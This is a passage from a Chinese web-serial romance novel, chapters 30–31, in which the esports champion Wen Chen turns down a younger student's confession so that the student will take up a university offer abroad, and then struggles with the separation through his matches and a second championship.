“我们学校这几天有很多人都在互送这个,说平安夜要吃平安果。”
温忱接过,欣喜地看了一圈:“谢谢,一会就吃。”
然后又掏掏掏,掏出了一个方方的盒子,里面摆着红白相间的围巾和手套。
“我看你从来不戴围巾手套,这不行的,现在天越来越冷了,你把手冻僵了就没法打游戏了。”
温忱又接过,满意地摸了摸:“谢谢,等下出门就戴。”
见他又开始继续掏,温忱吃惊:“还有?”
“还有个最重要的!”
说着,他掏出了一个最精致的黑色丝绒质地小盒,上面标着一排英文字母。
是一个很小众但是很贵的奢侈品牌子。
打开之后,里面赫然躺着一颗造型精美的鹿形胸针。
轮廓是一只鹿的侧影,鹿角由水晶钻石镶嵌而成,眼眸处是一颗红宝石点缀,鹿身用了极其细致的激光雕花和微镶技术,纹理细微而真实。
在馄饨铺有些阴暗的光影中折射着星辰般的碎芒与瑰丽的光泽。
温忱愣了愣:“这太贵重了吧?”
“不贵。”沈岸非常真诚地解释道:“我把存定期的奖学金取出来买的,都没花完。你教我打游戏的学费,照顾我的护工费,房租,还有之前借钱的利息……我全都加在一起了。”
“当然,还有个更重要的——”
沈岸眼眸明亮,盛满笑意:“这是你的冠军礼物。”
温忱依旧还是有些愣愣的。
看了看一脸开心期待的少年,又低头看了看那个礼物。
这种程度的工艺和极富寓意的造型,一看就知道是提前定制的,工期少说半个月,算起来应该是从自己给他门票那会就着手准备的。
他心里忽然涌起一个疑问。
“那我要是输了呢?”
“那就是亚军礼物。”
沈岸歪着头笑了笑,学他:“不过我知道,你不会输。”
那笑容犹如冬日暖阳,夏日凉风,教人一眼沉溺,再难移开。
温忱不知自己这样盯着人家看了多久,只知道再回过神来的时候脑袋有些微微发热。
半晌后,他低下头摸了摸口袋:“我也给你准备了圣诞礼物。”
沈岸惊喜地搓了搓手,等待揭晓。
只见对方摊开手掌,掌心躺着一棵金色的,半只手掌大小的圣诞树。
通体实心黄金,沉甸甸的,金灿灿的。
赠礼者附带解释说明:“黄金限量款粉丝的圣诞礼物。”
黄金圣诞树。
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30.第 30 章
然而此时此刻,近乎鼻息相抵,曾经的黄金限量款粉丝兼如今的人形狗皮膏药盛气凌人,被推了两下也纹丝不动。
逼仄的空气流转滞涩,思绪也跟着运转不通,温忱从被拉回来往墙上的那一按后就整个脑袋都懵掉了。
难以置信地看着这个不久前还看起来病殃殃,抱起来薄轻轻的人。
也难以想象会被这样一种不容抗拒的姿势囿于臂弯,压迫在墙边。
发愣半晌后,只觉得连呼吸都变得困难。
“……你先松开,好好说话。”
奈何铁了心的孩子并不好说话:“你先回答我的问题。”
温忱:“你要我回答什么?”
“为什么这么急着澄清?”
“不澄清任由他们瞎编乱造?”
“瞎编乱造。”
重复了这个词后,沈岸忽然轻笑一声:“是他们瞎编乱造还是你不敢承认啊?”
温忱闻言倏地一愣。
狭窄的空气流窜不及,一直不太敢深呼吸,唯恐将对方气息吸入太过的人在这一刻忽觉缺氧到有些头晕。
——不仅仅是头晕,还连带着某根神经深处细微但突兀的拉扯与跳动。
始作俑者却偏偏还在强加刺激。
“我不是没长眼睛。”
“能看得出来你所作所为从来都是关心我紧张我——最早的时候是生怕我一个人过得很可怜,后来又生怕我选错路,哪怕分开这么久了再见面依旧怕我生病怕我被骗……就连现在也是怕舆论会对我造成影响,没错吧?”
就知道这孩子不应该蠢到连这层都想不明白,温忱皱起眉,铆足了力去推故意找茬的人:“知道你还跟我……”
但依旧无济于事,人没推动,话也被打断了。
“就是知道才会生气。”
沈岸不仅没有退开,反而更向前倾了几厘。
“忱哥,你怕的东西太多了,多到完全没办法正视对我的感情……你已经因为害怕把我丢掉了一次,难道说,现在还想故技重施,再丢第二次吗?”
---
沈岸口中被“丢掉”的那次,指的正是一年多前两人的分道扬镳。
原因说起来其实很纯粹也很简单。
因为一个人想留在对方身边,另一个人又觉得对方应该追求更好的未来。
当时沈岸十六岁就步入了大学校园,入学没多久又跟着院导做完落地项目,大一都没读完就收到了国外顶尖学府的挖人邀请,前途璀璨的压根没处说理。
可偏这孩子却说不打算去。
沈家父母当场两眼一黑,苦口婆心说着咱家也不是什么避风港,一定要一个人出去闯一闯啊……只差五花大绑直接把人扔去国外。
沈时刚帮着弟弟说了一句话就被连夜扫地出门,气得直接去找好友告状。
谁料一向比自己还心疼自家小弟的人第一次没有和他统一战线。
“有这么好的机会为什么不抓住。”大哲学家出口就是金篇:“人生不是时时刻刻都会有机遇送上门来的。”
沈岸听父母叨叨心情没什么波澜,但一听温忱也说这话立刻就炸毛了。
先是发来微信消息质问:【你怎么也希望我去?】
温忱秒回:【因为对你的发展会更有利】
【Side:可是那里很远】
【Once:只是去上学又不是不回来了】
【Side:那万一要好几个月甚至一年才能回来一次呢?】
【Once:那就打电话】
【Side:那万一学业很忙很忙十天半个月也没空打电话呢】
【Once:那就好好学习】
沈岸没再回复,直接拨了电话过来。
一开口就又是一顿质问输出。
“那万一那边很冷很冷,菜也都很难吃,我会吃不饱穿不暖,磕了碰了摔了伤了也会没人管,还可能会被当地恶霸欺负……可能会很可怜很可怜,过得很惨很惨……这样你也希望我去吗?”
DTL的新一轮常规赛成绩很不错,眼看又到了角逐世界赛名额的关键时期,为保荣耀延续,这段时间的训练时间很长强度很大,温忱连着打了十几场,走出训练室去露台接电话时脑袋都有些发昏。
点了支烟醒神,隔了半晌才开口回答。
“小岸,你说的这些都是你的悲观预设,也许情况并不会这么糟糕。”
才搬来新基地不久,放眼望去,露台的对岸是江,江的另一侧是个知名学区。
沈岸的高中在那里,大学也在那里。
——暂时的大学。
吐出一口烟后,温忱接着说:“没准那里的天气很好,菜也很合胃口,你去了又长身体又长个,也不会磕了碰了摔了伤了,学生朋友们都很友好……会过得很开心也说不定呢?”
“可你也说了只是没准。”沈岸不依不饶:“即便这样也舍得我走吗?”
其实当然舍不得。
但这话温忱不能说。
沉默着近乎抽完了一整根烟,嘴巴里是浓重的尼古丁气息,吸入肺里,化作了难以用言语形容的酸苦滞涩。
再开口时嗓音有些沙哑:“喜欢的话为什么不去呢?”
电话那头的人也沉默数秒,深吸一口气。
然后有史以来第一次,连名带姓地叫他。
“温忱。”
后面的话像是每字每句都生涩难咽,挣扎很久才终于破土而出。
“如果我喜欢的,不止有那一个呢?”
……
至此种种,其实已经很显山露骨了,温忱怪自己没能早些发觉早些止损,后悔无知无觉间引孩子上了歧途,更害怕他真的因为这个心思就做出拎不清的选择。
实在不该害人至此。
但他对这种事情也是毫无经验办法,因为原生家庭比较复杂,感情淡薄,亲情上没有借鉴可言,别的情上更是雏儿一个,全无头绪。
不过有一点能确定,那就是沈岸尚可以任性糊涂,但自己绝不可以。
因为关乎他的未来,他的人生走向。
如此重要的人生大事不应该被一份懵懂少年心思绊住脚步。
所以为了减少干扰,让沈岸清醒抉择,温忱开始有意拉开距离。
两人的关系第一次有了日渐疏远的趋势。
而且临近年底本来就忙,战队工作排得满,又赶上世界赛,为了预留足够的时间来应对赛事安排,需要提前个把月完成和平台签的直播时长。
温忱平时不爱开直播水时长,到了这会一看比队友还多出了一倍多的任务,连续好些天都是凌晨训练赛结束之后又继续开播几小时,歇下时天都亮了。
沈岸也就那样日夜颠倒的蹲在他的直播间里。
听到他咳嗽几声,声音哑哑的,发消息来问是不是生病了,本来不想回复,但打起来总是觉得悬着个事心不在焉的,隔了一会还是拿起手机,回了个冷冰冰的,没。
对面又发让他早点休息,就再回一个,嗯。
并且言行不一,根本没听。
半个小时后,消息提示再次响起,这次一看,温忱直接吓够呛。
沈岸发来了一张在自己基地楼下的自拍,11月底的天,就穿了一件卫衣,可怜巴巴地蹲在门口的花台边。
火急火燎抓着外套下了楼,把人拎起来披上外套就训。
“你穿的这
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是什么?!找病生?你之前感冒才好几天?”
“前两年还知道里一层外一层的裹着,一到冬天就跟一个小雪人一样,越过越不会照顾自己了?”
扣好大衣纽扣又把领子竖了起来挡住脖子,温忱抬手在他背上不轻不重拍了一把:“跑来干嘛,赶紧滚回去。”
沈岸立刻委屈脸:“我才刚来……而且宿舍都关门了我回不去了。”
“那就回家去。”
“你那儿吗?那我们一起回!”
说着就去拉人家的手。
冰冷寒意透过掌心传来,温忱第一反应是像以前一样给他捂热,包在手心里,或是放进口袋里都可以……
但理智告诉他现在不该继续这样。
因此哪怕停顿很久,最终也只是默默抽回了手。
话里有话道:“回你自己的家去吧,小岸。”
此话一出,沈岸就知道他无法自欺欺人下去了。
无法再骗自己他只是太忙了,并没有要躲开的意思了。
沉默良久,再抬眼,眸中情绪复杂。
“就这么希望我走?”
这个问法很有歧义,温忱皱了皱眉,没有正面回答:“我只是希望你想清楚再做选择,不要被不重要的心思干扰,做出不成熟的决定。”
“不重要的心思?”
沈岸有些不可思议:“你觉得对我而言你是不重要的?”
温忱哑然。
此时此刻,他倒还真有点希望如此。
半晌深吸一口气:“小岸,你还小,很多事情……”
“我就知道你会这样说。”
所以一直想着快点长大,快点长到可以不被用这个理由搪塞的年纪。
但可惜变故还是来得有些早了。
沈岸其实一开始是不想跟温忱提这件事的,因为压根没有打算去,只是碍于引荐人的面子没有立刻回绝,拖了几天。
待到忙完当时手头的事情开始着手编辑拒绝邮件,才发现居然已经闹到人尽皆知了。
家里乱指乱点就算了,居然连温忱也说希望他去。
他能把前者当耳旁风,但对后者做不到不在意。
为什么会希望自己离开他身边?
为什么可以放心自他一个人去那么远的地方?
为什么自己明明在国内也可以发展很好,却非要选择分隔两地?
为什么听到会一年半载回不来,十天半个月打不了一通电话也没什么所谓?
为什么一听自己说喜欢就避之不及了?
沈岸能接受维持现状暂不说破,但接受不了开诚布公以后被人躲着避着。
更接受不了那个人明明也很在意关心,却还偏要装出一副冷漠嘴脸。
一点都不勇敢,一点都不坚定。
真正勇敢又坚定的人大大方方:“我不是小孩了,我很清楚自己在做什么。”
“我就是喜欢你,离不开你,只想留在你身边哪都不去。”
“不是要做你弟弟的那种喜欢。”
“是要以后天天都和你在一起的那种喜欢。”
“住在一起,吃饭在一起,睡觉也在一起,一起旅游一起逛街一起打游戏一起跨很多个年,爬很多座山,看很多很多场流星雨……”
“连工作都要在一起。”
“我已经想好了,大学四年课程我再要一年就可以学完,所以明年的这时候我就可以申请离校,到时候我也来DTL,和你做同事。”
“这样哪怕你天天工作很忙我也可以一直和你在一起了,我们还可以一起打比赛,一起上赛场,一起印在门票卡上……”
“……温忱,我这样说你能明白了吗?”
31.第 31 章
听明白了,但也快吓死了。
尤其是最后那两段,温忱离原地爆炸就差一点点,发出前所未有的尖锐爆鸣声。
“你说你要干嘛——?!”
沈岸就又重头数过:“和你住在一起一起吃饭一起睡……”
实在没有耳朵敢再听一遍,他赶紧叫停:“谁告诉你读大学出来是为了出来打游戏的?”
“有什么不可以?你和我哥不都在打游戏?而且我打得很好,比你队友都好。我妈也说了行行出状元,打游戏也可以发光发热出人头地。”
……你妈那是说别人家孩子不腰疼。你真敢读一年大学就跑出来打游戏看她让不让你人头落地。
温忱简直要疯:“我俩那是不学无术,你别好的不学行不行!”
沈岸没回答,但眼里不服情绪太盛,明显就是不行的意思。
自诩很会养小孩的温大家长惨超强遭滑铁卢,乖小孩一朝叛逆,既要早恋又要做网瘾少年。
申请早恋的对象还是自己。
……真是塌了天了。
温忱试图让自己冷静,从口袋掏出一包烟,哆嗦着按了三次火机才成功点燃。
见状,沈岸皱了皱眉头:“忱哥,你什么时候开始抽烟了?”
好机会。
温忱直接猛吸一口,吞云吐雾间开始细数不良嗜好:“我一直都抽烟,不仅抽烟我还喝酒,还通宵打游戏睡到日上三竿,不做家务还天天吃外卖……”
“而且我性格也不太好,和家里关系不好,小小年纪出来了就不着家。和同事关系很僵,老队长就是受不了我才滚蛋的,你要是真和我做同事也会很惨。”
“……所以小岸你看,其实我并没有你想的那么好,你看到的了解到的都只是很少一部分的我,被美化过的你以为的我而已。”
沈岸越听眉头皱得越紧:“为了赶我走你已经不惜诋毁自己了吗?”
“这是实话实说。”
“而且,感情这种事情也不是你想得这么简单的,你经历过的事情和接触过的人都太少了,不一定真的弄得明白什么是喜欢,更何况还是两个男孩子之间的。”
“可能只是因为这段时间我陪着你比较多,让你产生了依赖,又错把其理解成了其他感情。”
“你也许只是把我当做另一个哥哥……”
“你当我是傻的吗?”沈岸实在听不下去了:“我自己没哥哥吗?什么感情我会分不清?”
说着突然上前两步,与对面的人脚尖抵着脚尖,微微仰头时碎发甚至擦过了温忱的下巴。
沈岸先是抬眸撞进那双低垂的眼底,然后目光顺着鼻骨一路下滑,停在了微微抿着的唇角。
温忱忽觉心脏忽然跳一拍。
刚要后退,就被人抬手抓住了衣襟,更往回拉了几分。
一张小脸凑近的同时,声音贴着唇边响起。
“你觉得我会在靠近沈时的时候有想亲他的冲动吗?”
……
结局是深情告白失败。
被一把推开又揪着衣领子塞进了遣返回家的出租车。
沈岸太生气了,临走还扒着车窗放了句狠话。
——我真走了你别后悔。
但那个时候的温忱已经在后悔了。
从答应沈时去教小孩打游戏开始后悔。
再后悔多管闲事,明明自己都没养明白还要去养小孩。
后悔太没边界感,也后悔管杀不管埋。
如果真让沈岸止步本科就出来和他一起打游戏,温忱觉得自己能后悔一辈子。
于是干脆一狠心,直接和人掐断联系。
一点念想都不给了。
微信对话框从每日聊天不断变成一方已读不回再变成止步某个日期。
其实温忱在比沈岸更早的时候就有过对着聊天框出神的症状了。
心思是乱的,训练是注意力不集中的,复盘会是会走神的,有时就连上了赛场状态也没完全调整过来。
不该输的比赛输了几场,到手的比分优势眼看不保。
高层施压,教练加训,队友也会时不时冷嘲热讽。
严重的精神压力与糟糕的生存环境一度让温忱感觉又回到了初遇沈岸的那个冬天。
可是身边却没有那个陪着他走过那些难熬时光的少年了。
其实温忱从来没有主动和沈岸说过有关战队内部的事情,先前被针对也好,继任队长被老队员不服也罢,再或者DTL从一开始就展露出来的吃相难看的嘴脸……
把坏情绪带给小朋友是不应该的,但奈何沈岸太过聪明,还是从细枝末节中发觉了很多。
而且从不吝啬于提供情绪价值,哄人技术也日益精进,会一本正经的嘴甜夸自己厉害,也会凶巴巴的嘲讽骂人家废物……
温忱不是不抗压的人,可毕竟也才19岁,纵然心智比同龄人成熟些,也做不到丝毫不被影响。
毫不夸张的说,是因为有沈岸在,才会让那段时光显得没有特别难熬。
说不想念是骗人的。
但一手铸成坏结果的人不配有资格想念。
……
再见面是在半个月后的某场比赛后台。
那天的比赛DTL打了两场,一胜一负,积分不升反降,眼看优先晋级资格不保。
回后台时队员各个垂头丧气,脸色都不太好看,温忱独自走在最后,在路过DTL的训练室时忽然被人一把抓了进去。
沈岸从开门到拉人进屋再到关门,动作流畅,一气呵成。
等走在前面的Windy听到动静回头,就只见到自家队长被拉进了YF休息室的一道残影。
不过Windy知道他和YF管理关系好,以为是被好友拉去说话了,想着反正现在队内气氛这么压抑,不回去也罢,还好心给向教练打了个解释。
——殊不知当时当刻,一门之隔,其实别有一番风景。
休息室的空间并不大,也没有窗户,中央空调运转不休,房间内的空气很闷,闷得让人连呼吸都有些不顺。
YF的队员早早被零封回家了,闷热而逼仄的空气之下只有他和沈岸两人。
温忱先是被吓了一跳,反应过来后立刻很快甩开他的手:“你在这干嘛?”
“来蹲你。”沈岸声音有些沙哑:“我现在连想见你一面都这么难了吗?”
“最近太忙了。”
是实话也是谎话。
以前更忙的时候也不是没有过,但再忙也不会不理人。
“我看你也没太忙明白。”
沈岸看起来没有上次那么委屈巴巴了,耷拉着一张小脸,眼角嘴角弧度也都微微向下。
温忱还是第一次在这张脸上看到可以和冷漠沾得上边的神情,也是第一次挨怼。
“你知道自己最近状态真的很差吗?”
“那些人明明不是你的对手,刚刚的那把你也明明应该赢的。”
咄咄逼人,步步向前。
“为什么突然状态下滑这么多?”
“为什么脸色看起来差成这样?”
“不舒服?没休息好?队内配合又出了问题?还是……”
那倔强与不甘满溢的眼里在这时染上一丝细微至极的波澜。
突然的停顿也让本就流通困难的空气愈发膨胀变形,抽干了逼仄的空间里仅剩的氧气。
温忱觉得呼吸有些困难。
在预感到那半句哽在喉中的话是什么后,他抬手去拧房间的把手,试图转移话题。
“这里面太闷了,出去再……”
但在拧动前就被人一把握住了手。
没再给他逃开的机会,沈岸五指收紧,字字清晰。
“还是因为我?”
被挤压到极致的空气终于不堪重负,在话音落地的那一刻轰然爆炸。
炸在了极力压制,隐忍多时的心间。
在感受到手心覆盖之下的那双手有明显的攥紧与逃避趋势后,已经促成一场爆炸的人继续抛出引线,试图点燃最后一道防线。
“忱
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哥,你其实也是喜欢我的,对吧。”
少年的语气近乎陈述,相比等待一个是或否的答复,更像是一种带着答案的求证。
唯有微微颤动的瞳孔暴露了隐藏在平静背后的紧张不安,与满怀憧憬。
温忱一直知道这孩子聪明,将很多事情看得通透,而且敢爱敢恨,不会任由事情在沉默中收场。
是以也早猜到他会再来讨一个说法,移开目光抽回手,将提前预设好的违心谎话宣之于口。
“喜欢是分很多种的。”
“如果是我之前做过什么让你误会了的事情,我向你道歉。让你浪费了很多时间生了奇怪的心思,我也道歉……”
“我自己的状态我会很快调整好,不会影响接下来要做的事情,你也是一样的,小岸。”
“你也应该去做你该做的事情。”
沈岸哂笑一声:“我该做的事情就是离开你,对吗?”
“未来的路还很长,我本来就不可能一直陪着你。”温忱实话实说:“你总要有自己的生活,早点离开适应也不是什么坏事。”
说完,再一次抬手拉开了门。
“我还有事情,你自己回去注意安全。”
这一次没有再被人阻拦。
但是在他迈入走廊后,突然听到身后的声音再度响起。
“如果我偏不呢?”
温忱脚步一顿,皱了皱眉没有回头。
那人就又更靠近了几分。
“如果我说我偏要留在你身边,你也还是一定要推开我吗?”
……
那天最后温忱的答案很清晰,也很伤人。
被伤害的人沉默的离开,沉默的消失,很长一段时间没再出现在他面前,没有再死缠烂打发过一次消息。
骤然落空,咎由自取。
也是如他所愿。
带头放出豪言的人没有沉湎失落的时间,以身作则,逼着自己找回状态,将后续的几场比赛打得十分亮眼。
成功跨进了决赛门槛,远赴C国出征,之后更是一路起飞,接连晋级,所向披靡,直逼总决赛舞台。
当时DTL的粉丝数量已然是联盟之最,哪怕远在他国,也是每场比赛都座无虚席,网络上的话题度更是水涨船高。
截至当前,逐鹿第八赛季,整个亚洲赛区还没有任何二连冠的成绩。
众人无不摩拳擦掌,只等Once再创历史,更续辉煌。
总决赛的门票可以说是瞬间就被洗劫一空的。
林词特意留了内部票给选手,同样的VIP前排,以往想都不用想就会送出去,但这一次,面对着已经半个月没再更新过的对话框,温忱最终还是没有做到率先破功。
决赛日如期而至。
少了一个人的观众席似乎并不能看出任何变化。
掌声,呐喊与尖叫都只比去年此时更为激动热烈。
温忱按部就班,登台,对弈,在紧张刺激与惊心动魄交织下斩获最终胜利。
然后走上颁奖台,第二次举起属于他的冠军奖杯。
荣耀加身,再战巅峰,职业生涯更添一笔重彩。
可随着决赛的落幕,用以麻痹情绪神经的高强度工作也告一段落,所有被强压下的情愫在松懈下来的那一刻如破笼而出的困兽般狂奔而来。
似乎要将他撕咬,吞噬,掩埋……
温忱在国外酩酊大醉了一场,像是发现了酒的妙处,一直喝到回国后的第二个冠军之夜。
醉意朦胧间,他接到了沈岸的电话。
本想坏人做到底,抵死不见,可谁料那孩子固执得等在冷风里那么久那么久,等到自己酒都醒了不少也没有离开的意思。
实在没了办法,便见了一面。
没有风雪的夜也就有了风雪。
在听到沈岸那句“恭喜”时,温忱说不清究竟有没有一点开心愉悦,只知道一颗悬着的心终于彻底落了地。
——和两年以来的朝夕日夜一起彻底落了地。
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